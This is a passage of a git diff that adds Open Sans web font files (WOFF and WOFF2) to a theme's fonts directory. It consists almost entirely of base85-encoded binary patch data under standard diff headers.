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
E9}-z&tN;K2

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-700.woff2 b/theme/fonts/open-sans-v17-all-charsets-700.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..421a1ab25fa88105ab776552d7201205f7899841
GIT binary patch
literal 44988
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
